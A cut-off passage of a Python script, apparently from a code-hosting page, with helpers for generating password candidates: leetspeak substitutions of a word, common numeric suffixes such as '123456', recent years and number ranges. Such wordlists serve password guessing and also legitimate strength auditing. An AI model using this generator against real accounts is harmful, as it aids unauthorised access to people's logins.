||||||
|
return str(mp[cl]) if cl in mp else c
|
||||||
|
rs = []
|
||||||
|
for bls in true_false_combinations(word):
|
||||||
|
w = word; i = 0
|
||||||
|
for b in bls:
|
||||||
|
if b:
|
||||||
|
w = w[:i] + hackerize(w[i]) + w[i+1:]
|
||||||
|
i += 1
|
||||||
|
rs.append(w)
|
||||||
|
return rs
|
||||||
|
|
||||||
|
# common numbers used on password
|
||||||
|
def get_common_numbers():
|
||||||
|
return ['123','1234','135','12345','123456','1234567890','098','09876','0987654321']
|
||||||
|
|
||||||
|
# get the last N years in time
|
||||||
|
def get_lastnyears(n):
|
||||||
|
y = datetime.datetime.now().year
|
||||||
|
ys = []
|
||||||
|
ys.append(y+1)
|
||||||
|
for i in range(0,n):
|
||||||
|
ys.append(y-i)
|
||||||
|
return ys
|
||||||
|
|
||||||
|
# get a number range from 0
|
||||||
|
def get_numrange(ln):
|
||||||
|
ns = []
|
||||||
|
for i in range(0,ln):
|
||||||
|
ns.append(i)
|
||||||
|
return ns
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except BrokenPipeError:
|
||||||
|
pass
|
Loading…
Reference in New Issue
Block a user